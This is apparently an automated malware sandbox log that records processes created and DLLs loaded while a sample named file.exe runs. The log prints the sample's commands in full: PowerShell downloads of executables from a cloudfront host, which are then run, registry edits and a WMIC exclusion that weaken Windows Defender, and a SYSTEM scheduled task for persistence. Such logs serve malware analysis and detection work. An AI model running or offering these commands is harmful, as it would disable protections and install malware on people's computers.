Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\gpupdate.exe "C:\Windows\system32\gpupdate.exe" /force
Source: C:\Windows\SysWOW64\gpupdate.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 11:07:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe\" Wt /QQndidSCwP 385128 /S" /V1 /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C schtasks /run /I /tn biPxHmULFllsbMgnpt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /run /I /tn biPxHmULFllsbMgnpt
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe Wt /QQndidSCwP 385128 /S
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c "C:\Users\user\AppData\Local\Temp\nsg4683.tmp\load.bat"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\i1.exe i1.exe /SUB=28381000 /str=one	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444', 'i2.bat')"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=456','i3.exe')"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\i3.exe i3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Process created: C:\Users\user\AppData\Local\Temp\u5do.0.exe "C:\Users\user\AppData\Local\Temp\u5do.0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Process created: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe "C:\Users\user\AppData\Local\Temp\u5do.2\run.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Process created: C:\Users\user\AppData\Local\Temp\u5do.3.exe "C:\Users\user\AppData\Local\Temp\u5do.3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe .\Install.exe /EdidWTW "385128" /S
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 11:07:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe\" Wt /QQndidSCwP 385128 /S" /V1 /F
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\gpupdate.exe "C:\Windows\system32\gpupdate.exe" /force
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C schtasks /run /I /tn biPxHmULFllsbMgnpt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /run /I /tn biPxHmULFllsbMgnpt
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ndfapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
